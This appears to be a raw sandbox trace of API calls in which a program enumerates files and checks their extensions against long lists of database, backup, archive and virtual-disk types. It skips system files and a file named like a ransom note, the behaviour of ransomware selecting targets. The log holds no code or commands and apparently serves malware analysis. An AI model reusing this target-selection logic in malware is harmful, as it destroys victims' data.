	[0051.294] lstrlenW (lpString="adb") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0051.294] lstrlenW (lpString="adb") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0051.294] lstrlenW (lpString="ade") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0051.294] lstrlenW (lpString="adf") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0051.294] lstrlenW (lpString="adn") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0051.294] lstrlenW (lpString="adp") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0051.295] lstrlenW (lpString="alf") returned 3
	[0051.295] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0051.295] lstrlenW (lpString="ask") returned 3
	[0051.295] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0051.295] lstrlenW (lpString="btr") returned 3
	[0051.298] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0051.298] lstrlenW (lpString="cat") returned 3
	[0051.299] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0051.300] lstrlenW (lpString="cdb") returned 3
	[0051.300] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0051.300] lstrlenW (lpString="ckp") returned 3
	[0051.300] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0051.300] lstrlenW (lpString="cma") returned 3
	[0051.300] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0051.300] lstrlenW (lpString="cpd") returned 3
	[0051.300] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0051.300] lstrlenW (lpString="dacpac") returned 6
	[0051.300] lstrcmpiW (lpString1="11.msp", lpString2="dacpac") returned -1
	[0051.300] lstrlenW (lpString="dad") returned 3
	[0051.300] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0051.300] lstrlenW (lpString="dadiagrams") returned 10
	[0051.300] lstrcmpiW (lpString1="d10111.msp", lpString2="dadiagrams") returned -1
	[0051.300] lstrlenW (lpString="daschema") returned 8
	[0051.300] lstrcmpiW (lpString1="0111.msp", lpString2="daschema") returned -1
	[0051.300] lstrlenW (lpString="db-journal") returned 10
	[0051.300] lstrcmpiW (lpString1="d10111.msp", lpString2="db-journal") returned -1
	[0051.300] lstrlenW (lpString="db-shm") returned 6
	[0051.300] lstrcmpiW (lpString1="11.msp", lpString2="db-shm") returned -1
	[0051.301] lstrlenW (lpString="db-wal") returned 6
	[0051.301] lstrcmpiW (lpString1="11.msp", lpString2="db-wal") returned -1
	[0051.301] lstrlenW (lpString="dbc") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0051.301] lstrlenW (lpString="dbs") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0051.301] lstrlenW (lpString="dbt") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0051.301] lstrlenW (lpString="dbv") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0051.301] lstrlenW (lpString="dbx") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0051.301] lstrlenW (lpString="dcb") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0051.301] lstrlenW (lpString="dct") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dct") returned 1
	[0051.301] lstrlenW (lpString="dcx") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dcx") returned 1
	[0051.301] lstrlenW (lpString="ddl") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="ddl") returned 1
	[0051.301] lstrlenW (lpString="dlis") returned 4
	[0051.301] lstrcmpiW (lpString1=".msp", lpString2="dlis") returned -1
	[0051.301] lstrlenW (lpString="dp1") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dp1") returned 1
	[0051.301] lstrlenW (lpString="dqy") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dqy") returned 1
	[0051.301] lstrlenW (lpString="dsk") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dsk") returned 1
	[0051.301] lstrlenW (lpString="dsn") returned 3
	[0051.301] lstrcmpiW (lpString1="msp", lpString2="dsn") returned 1
	[0051.301] lstrlenW (lpString="dtsx") returned 4
	[0051.302] lstrcmpiW (lpString1=".msp", lpString2="dtsx") returned -1
	[0051.302] lstrlenW (lpString="dxl") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="dxl") returned 1
	[0051.302] lstrlenW (lpString="eco") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="eco") returned 1
	[0051.302] lstrlenW (lpString="ecx") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="ecx") returned 1
	[0051.302] lstrlenW (lpString="edb") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="edb") returned 1
	[0051.302] lstrlenW (lpString="epim") returned 4
	[0051.302] lstrcmpiW (lpString1=".msp", lpString2="epim") returned -1
	[0051.302] lstrlenW (lpString="fcd") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fcd") returned 1
	[0051.302] lstrlenW (lpString="fdb") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fdb") returned 1
	[0051.302] lstrlenW (lpString="fic") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fic") returned 1
	[0051.302] lstrlenW (lpString="flexolibrary") returned 12
	[0051.302] lstrcmpiW (lpString1="Upd10111.msp", lpString2="flexolibrary") returned 1
	[0051.302] lstrlenW (lpString="fm5") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fm5") returned 1
	[0051.302] lstrlenW (lpString="fmp") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fmp") returned 1
	[0051.302] lstrlenW (lpString="fmp12") returned 5
	[0051.302] lstrcmpiW (lpString1="1.msp", lpString2="fmp12") returned -1
	[0051.302] lstrlenW (lpString="fmpsl") returned 5
	[0051.302] lstrcmpiW (lpString1="1.msp", lpString2="fmpsl") returned -1
	[0051.302] lstrlenW (lpString="fol") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fol") returned 1
	[0051.302] lstrlenW (lpString="fp3") returned 3
	[0051.302] lstrcmpiW (lpString1="msp", lpString2="fp3") returned 1
	[0051.302] lstrlenW (lpString="fp4") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="fp4") returned 1
	[0051.303] lstrlenW (lpString="fp5") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="fp5") returned 1
	[0051.303] lstrlenW (lpString="fp7") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="fp7") returned 1
	[0051.303] lstrlenW (lpString="fpt") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="fpt") returned 1
	[0051.303] lstrlenW (lpString="frm") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="frm") returned 1
	[0051.303] lstrlenW (lpString="gdb") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0051.303] lstrlenW (lpString="gdb") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0051.303] lstrlenW (lpString="grdb") returned 4
	[0051.303] lstrcmpiW (lpString1=".msp", lpString2="grdb") returned -1
	[0051.303] lstrlenW (lpString="gwi") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="gwi") returned 1
	[0051.303] lstrlenW (lpString="hdb") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="hdb") returned 1
	[0051.303] lstrlenW (lpString="his") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="his") returned 1
	[0051.303] lstrlenW (lpString="ib") returned 2
	[0051.303] lstrcmpiW (lpString1="sp", lpString2="ib") returned 1
	[0051.303] lstrlenW (lpString="idb") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="idb") returned 1
	[0051.303] lstrlenW (lpString="ihx") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="ihx") returned 1
	[0051.303] lstrlenW (lpString="itdb") returned 4
	[0051.303] lstrcmpiW (lpString1=".msp", lpString2="itdb") returned -1
	[0051.303] lstrlenW (lpString="itw") returned 3
	[0051.303] lstrcmpiW (lpString1="msp", lpString2="itw") returned 1
	[0051.304] lstrlenW (lpString="jet") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="jet") returned 1
	[0051.304] lstrlenW (lpString="jtx") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="jtx") returned 1
	[0051.304] lstrlenW (lpString="kdb") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="kdb") returned 1
	[0051.304] lstrlenW (lpString="kexi") returned 4
	[0051.304] lstrcmpiW (lpString1=".msp", lpString2="kexi") returned -1
	[0051.304] lstrlenW (lpString="kexic") returned 5
	[0051.304] lstrcmpiW (lpString1="1.msp", lpString2="kexic") returned -1
	[0051.304] lstrlenW (lpString="kexis") returned 5
	[0051.304] lstrcmpiW (lpString1="1.msp", lpString2="kexis") returned -1
	[0051.304] lstrlenW (lpString="lgc") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="lgc") returned 1
	[0051.304] lstrlenW (lpString="lwx") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="lwx") returned 1
	[0051.304] lstrlenW (lpString="maf") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="maf") returned 1
	[0051.304] lstrlenW (lpString="maq") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="maq") returned 1
	[0051.304] lstrlenW (lpString="mar") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="mar") returned 1
	[0051.304] lstrlenW (lpString="marshal") returned 7
	[0051.304] lstrcmpiW (lpString1="111.msp", lpString2="marshal") returned -1
	[0051.304] lstrlenW (lpString="mas") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="mas") returned 1
	[0051.304] lstrlenW (lpString="mav") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="mav") returned 1
	[0051.304] lstrlenW (lpString="maw") returned 3
	[0051.304] lstrcmpiW (lpString1="msp", lpString2="maw") returned 1
	[0051.304] lstrlenW (lpString="mdbhtml") returned 7
	[0051.305] lstrcmpiW (lpString1="111.msp", lpString2="mdbhtml") returned -1
	[0051.305] lstrlenW (lpString="mdn") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mdn") returned 1
	[0051.305] lstrlenW (lpString="mdt") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mdt") returned 1
	[0051.305] lstrlenW (lpString="mfd") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mfd") returned 1
	[0051.305] lstrlenW (lpString="mpd") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mpd") returned 1
	[0051.305] lstrlenW (lpString="mrg") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mrg") returned 1
	[0051.305] lstrlenW (lpString="mud") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mud") returned -1
	[0051.305] lstrlenW (lpString="mwb") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="mwb") returned -1
	[0051.305] lstrlenW (lpString="myd") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="myd") returned -1
	[0051.305] lstrlenW (lpString="ndf") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="ndf") returned -1
	[0051.305] lstrlenW (lpString="nnt") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="nnt") returned -1
	[0051.305] lstrlenW (lpString="nrmlib") returned 6
	[0051.305] lstrcmpiW (lpString1="11.msp", lpString2="nrmlib") returned -1
	[0051.305] lstrlenW (lpString="ns2") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="ns2") returned -1
	[0051.305] lstrlenW (lpString="ns3") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="ns3") returned -1
	[0051.305] lstrlenW (lpString="ns4") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="ns4") returned -1
	[0051.305] lstrlenW (lpString="nsf") returned 3
	[0051.305] lstrcmpiW (lpString1="msp", lpString2="nsf") returned -1
	[0051.306] lstrlenW (lpString="nv") returned 2
	[0051.306] lstrcmpiW (lpString1="sp", lpString2="nv") returned 1
	[0051.306] lstrlenW (lpString="nv2") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="nv2") returned -1
	[0051.306] lstrlenW (lpString="nwdb") returned 4
	[0051.306] lstrcmpiW (lpString1=".msp", lpString2="nwdb") returned -1
	[0051.306] lstrlenW (lpString="nyf") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="nyf") returned -1
	[0051.306] lstrlenW (lpString="odb") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0051.306] lstrlenW (lpString="odb") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0051.306] lstrlenW (lpString="oqy") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="oqy") returned -1
	[0051.306] lstrlenW (lpString="ora") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="ora") returned -1
	[0051.306] lstrlenW (lpString="orx") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="orx") returned -1
	[0051.306] lstrlenW (lpString="owc") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="owc") returned -1
	[0051.306] lstrlenW (lpString="p96") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="p96") returned -1
	[0051.306] lstrlenW (lpString="p97") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="p97") returned -1
	[0051.306] lstrlenW (lpString="pan") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="pan") returned -1
	[0051.306] lstrlenW (lpString="pdb") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="pdb") returned -1
	[0051.306] lstrlenW (lpString="pdm") returned 3
	[0051.306] lstrcmpiW (lpString1="msp", lpString2="pdm") returned -1
	[0051.306] lstrlenW (lpString="pnz") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="pnz") returned -1
	[0051.307] lstrlenW (lpString="qry") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="qry") returned -1
	[0051.307] lstrlenW (lpString="qvd") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="qvd") returned -1
	[0051.307] lstrlenW (lpString="rbf") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="rbf") returned -1
	[0051.307] lstrlenW (lpString="rctd") returned 4
	[0051.307] lstrcmpiW (lpString1=".msp", lpString2="rctd") returned -1
	[0051.307] lstrlenW (lpString="rod") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="rod") returned -1
	[0051.307] lstrlenW (lpString="rodx") returned 4
	[0051.307] lstrcmpiW (lpString1=".msp", lpString2="rodx") returned -1
	[0051.307] lstrlenW (lpString="rpd") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="rpd") returned -1
	[0051.307] lstrlenW (lpString="rsd") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="rsd") returned -1
	[0051.307] lstrlenW (lpString="sas7bdat") returned 8
	[0051.307] lstrcmpiW (lpString1="0111.msp", lpString2="sas7bdat") returned -1
	[0051.307] lstrlenW (lpString="sbf") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="sbf") returned -1
	[0051.307] lstrlenW (lpString="scx") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="scx") returned -1
	[0051.307] lstrlenW (lpString="sdb") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="sdb") returned -1
	[0051.307] lstrlenW (lpString="sdc") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="sdc") returned -1
	[0051.307] lstrlenW (lpString="sdf") returned 3
	[0051.307] lstrcmpiW (lpString1="msp", lpString2="sdf") returned -1
	[0051.307] lstrlenW (lpString="sis") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="sis") returned -1
	[0051.308] lstrlenW (lpString="spq") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="spq") returned -1
	[0051.308] lstrlenW (lpString="te") returned 2
	[0051.308] lstrcmpiW (lpString1="sp", lpString2="te") returned -1
	[0051.308] lstrlenW (lpString="teacher") returned 7
	[0051.308] lstrcmpiW (lpString1="111.msp", lpString2="teacher") returned -1
	[0051.308] lstrlenW (lpString="tmd") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="tmd") returned -1
	[0051.308] lstrlenW (lpString="tps") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="tps") returned -1
	[0051.308] lstrlenW (lpString="trc") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0051.308] lstrlenW (lpString="trc") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0051.308] lstrlenW (lpString="trm") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="trm") returned -1
	[0051.308] lstrlenW (lpString="udb") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="udb") returned -1
	[0051.308] lstrlenW (lpString="udl") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="udl") returned -1
	[0051.308] lstrlenW (lpString="usr") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="usr") returned -1
	[0051.308] lstrlenW (lpString="v12") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="v12") returned -1
	[0051.308] lstrlenW (lpString="vis") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="vis") returned -1
	[0051.308] lstrlenW (lpString="vpd") returned 3
	[0051.308] lstrcmpiW (lpString1="msp", lpString2="vpd") returned -1
	[0051.308] lstrlenW (lpString="vvv") returned 3
	[0051.309] lstrcmpiW (lpString1="msp", lpString2="vvv") returned -1
	[0051.309] lstrlenW (lpString="wdb") returned 3
	[0051.309] lstrcmpiW (lpString1="msp", lpString2="wdb") returned -1
	[0051.309] lstrlenW (lpString="wmdb") returned 4
	[0051.309] lstrcmpiW (lpString1=".msp", lpString2="wmdb") returned -1
	[0051.309] lstrlenW (lpString="wrk") returned 3
	[0051.309] lstrcmpiW (lpString1="msp", lpString2="wrk") returned -1
	[0051.309] lstrlenW (lpString="xdb") returned 3
	[0051.309] lstrcmpiW (lpString1="msp", lpString2="xdb") returned -1
	[0051.309] lstrlenW (lpString="xld") returned 3
	[0051.309] lstrcmpiW (lpString1="msp", lpString2="xld") returned -1
	[0051.309] lstrlenW (lpString="xmlff") returned 5
	[0051.309] lstrcmpiW (lpString1="1.msp", lpString2="xmlff") returned -1
	[0051.309] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="Apollon865.txt.exe") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".") returned 1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="..") returned 1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="windows") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="bootmgr") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="temp") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="pagefile.sys") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="boot") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="ids.txt") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="ntuser.dat") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="perflogs") returned -1
	[0051.309] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="MSBuild") returned -1
	[0051.309] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0051.309] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61
	[0051.310] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="AdbeRdrUpd10110_MUI.msp" | out: lpString1="AdbeRdrUpd10110_MUI.msp") returned="AdbeRdrUpd10110_MUI.msp"
	[0051.310] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0051.310] lstrlenW (lpString="Apollon865") returned 10
	[0051.310] lstrcmpiW (lpString1="10_MUI.msp", lpString2="Apollon865") returned -1
	[0051.310] lstrlenW (lpString=".dll") returned 4
	[0051.310] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".dll") returned 1
	[0051.310] lstrlenW (lpString=".lnk") returned 4
	[0051.310] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".lnk") returned 1
	[0051.310] lstrlenW (lpString=".ini") returned 4
	[0051.310] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".ini") returned 1
	[0051.310] lstrlenW (lpString=".sys") returned 4
	[0051.310] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".sys") returned 1
	[0051.310] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0051.310] lstrlenW (lpString="bak") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0051.310] lstrlenW (lpString="ba_") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0051.310] lstrlenW (lpString="dbb") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0051.310] lstrlenW (lpString="vmdk") returned 4
	[0051.310] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0051.310] lstrlenW (lpString="rar") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0051.310] lstrlenW (lpString="zip") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0051.310] lstrlenW (lpString="tgz") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0051.310] lstrlenW (lpString="vbox") returned 4
	[0051.310] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0051.310] lstrlenW (lpString="vdi") returned 3
	[0051.310] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0051.311] lstrlenW (lpString="vhd") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0051.311] lstrlenW (lpString="vhdx") returned 4
	[0051.311] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0051.311] lstrlenW (lpString="avhd") returned 4
	[0051.311] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0051.311] lstrlenW (lpString="db") returned 2
	[0051.311] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0051.311] lstrlenW (lpString="db2") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
	[0051.311] lstrlenW (lpString="db3") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0051.311] lstrlenW (lpString="dbf") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0051.311] lstrlenW (lpString="mdf") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0051.311] lstrlenW (lpString="mdb") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0051.311] lstrlenW (lpString="sql") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0051.311] lstrlenW (lpString="sqlite") returned 6
	[0051.311] lstrcmpiW (lpString1="UI.msp", lpString2="sqlite") returned 1
	[0051.311] lstrlenW (lpString="sqlite3") returned 7
	[0051.311] lstrcmpiW (lpString1="MUI.msp", lpString2="sqlite3") returned -1
	[0051.311] lstrlenW (lpString="sqlitedb") returned 8
	[0051.311] lstrcmpiW (lpString1="_MUI.msp", lpString2="sqlitedb") returned -1
	[0051.311] lstrlenW (lpString="xml") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0051.311] lstrlenW (lpString="$er") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0051.311] lstrlenW (lpString="4dd") returned 3
	[0051.311] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0051.312] lstrlenW (lpString="4dl") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0051.312] lstrlenW (lpString="^^^") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0051.312] lstrlenW (lpString="abs") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0051.312] lstrlenW (lpString="abx") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0051.312] lstrlenW (lpString="accdb") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accdb") returned 1
	[0051.312] lstrlenW (lpString="accdc") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accdc") returned 1
	[0051.312] lstrlenW (lpString="accde") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accde") returned 1
	[0051.312] lstrlenW (lpString="accdr") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accdr") returned 1
	[0051.312] lstrlenW (lpString="accdt") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accdt") returned 1
	[0051.312] lstrlenW (lpString="accdw") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accdw") returned 1
	[0051.312] lstrlenW (lpString="accft") returned 5
	[0051.312] lstrcmpiW (lpString1="I.msp", lpString2="accft") returned 1
	[0051.312] lstrlenW (lpString="adb") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0051.312] lstrlenW (lpString="adb") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0051.312] lstrlenW (lpString="ade") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0051.312] lstrlenW (lpString="adf") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0051.312] lstrlenW (lpString="adn") returned 3
	[0051.312] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0051.313] lstrlenW (lpString="adp") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0051.313] lstrlenW (lpString="alf") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0051.313] lstrlenW (lpString="ask") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0051.313] lstrlenW (lpString="btr") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0051.313] lstrlenW (lpString="cat") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0051.313] lstrlenW (lpString="cdb") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0051.313] lstrlenW (lpString="ckp") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0051.313] lstrlenW (lpString="cma") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0051.313] lstrlenW (lpString="cpd") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0051.313] lstrlenW (lpString="dacpac") returned 6
	[0051.313] lstrcmpiW (lpString1="UI.msp", lpString2="dacpac") returned 1
	[0051.313] lstrlenW (lpString="dad") returned 3
	[0051.313] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0051.313] lstrlenW (lpString="dadiagrams") returned 10
	[0051.313] lstrcmpiW (lpString1="10_MUI.msp", lpString2="dadiagrams") returned -1
